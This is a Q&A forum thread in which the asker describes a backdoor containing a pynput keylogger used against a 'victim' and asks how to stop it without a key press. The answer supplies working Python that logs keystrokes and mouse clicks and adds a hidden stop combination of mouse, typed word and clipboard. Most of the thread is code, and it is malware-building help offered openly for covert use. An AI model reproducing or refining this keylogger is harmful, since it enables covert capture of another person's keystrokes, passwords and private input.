2

I started a little backdoor and i use a keylogger in it. I use the pynput library and i wanted to know if it's possible to stop the pynput listener from an outside function or in the main loop.

Here is a code snippet :

class KeyLoggerThread(threading.Thread):
    global Quit
    def __init__(self):
        super().__init__()

    def run(self):
        logging.basicConfig(filename="keys.log",level=logging.DEBUG, format='%(asctime)s %(message)s')
        def on_press(key):
            logging.debug(str(key))
            if key == Key.esc:
                return False
        with Listener(on_press = on_press) as listener:
            listener.join()

Right now, i have to use the esc key with is not very practical due to the fact that this keylogger is used in my backdoor so when the victim press esc it quit the keylogger. What i really want is to send a signal whenever i want to stop it (not from a key). Thanks in advance, have a nice day !

hutchY
  • 31
  • 3

1 Answers1

0

You talk about keylogger... yeah, if you want a signal but not from a key then buy a remoter :))

In this sample code I maked a combo of 3 different things for password to not close listener events by mistake.

Hold middle/wheel mouse button, write a word ex.@admin (tap that key characters) and make shore you hade some text copyed... PS. I do not know to many peoples who write on keyboard with hand on mouse and holding the weel in the same time... That is just an example, be creative.

#// IMPORTS
import pyperclip
from pynput import keyboard, mouse

keylogger_stop = False
# password = [Boolean, String_1, String_2]
# Boolean - Need to hold mouse middle mutton, if you 
#           released befoure to finish, well try again
# String_1 - Write that password/word. Special keys
#           are ignored (alt, ctrl, cmd, shift etc.)
# String 2 - You need to have this text copyed (Ctrl + C)
#           and after you finish to write manual String_1
password = [False, "@dmin", ">> Double $$$ check! <<"]
pass_type = ""

class Keylogger:
    def __init__(self):
        Keylogger.Keyboard.Listener()
        Keylogger.Mouse.Listener()
        
    class Keyboard:
        def Press(key):
            if keylogger_stop == True: return False
            else: print(f"K_K_P: {key}")
        
        def Release(key):
            global pass_type, keylogger_stop
            # get copyed string + holding right mouse button pressed
            if password[0] == True and pass_type == password[1]:
                if pyperclip.paste().strip() == password[2]: keylogger_stop = True
                else: password[0] = False; pass_type = ""
            # write string password/word + holding right mouse button pressed
            elif password[0] == True:
                try: pass_type += key.char; print(pass_type, password[0])
                except: pass
                
            else: print(f"K_K_R: {key}")
        
        def Listener():
            l = keyboard.Listener(on_press = Keylogger.Keyboard.Press,
                                  on_release =  Keylogger.Keyboard.Release)
            l.start()

    class Mouse:
        def Click(x, y, b, p):
            global pass_type
            
            if keylogger_stop == True: return False

            # hold mouse button pressed, on release will reset the progress
            elif b == mouse.Button.middle:
                if p == True: password[0] = True
                else: password[0] = False; pass_type = ""
            else: print(f"{b} was {'pressed' if p else 'released'} at ({x} x {y})")
        
        def Listener():
            mouse.Listener(on_click = Keylogger.Mouse.Click).start()

class Main:
    def __init__(self):
        Keylogger()
    
#// RUN IF THIS FILE IS THE MAIN ONE
if __name__ == "__main__": 
    Main()
ASI
  • 334
  • 3
  • 15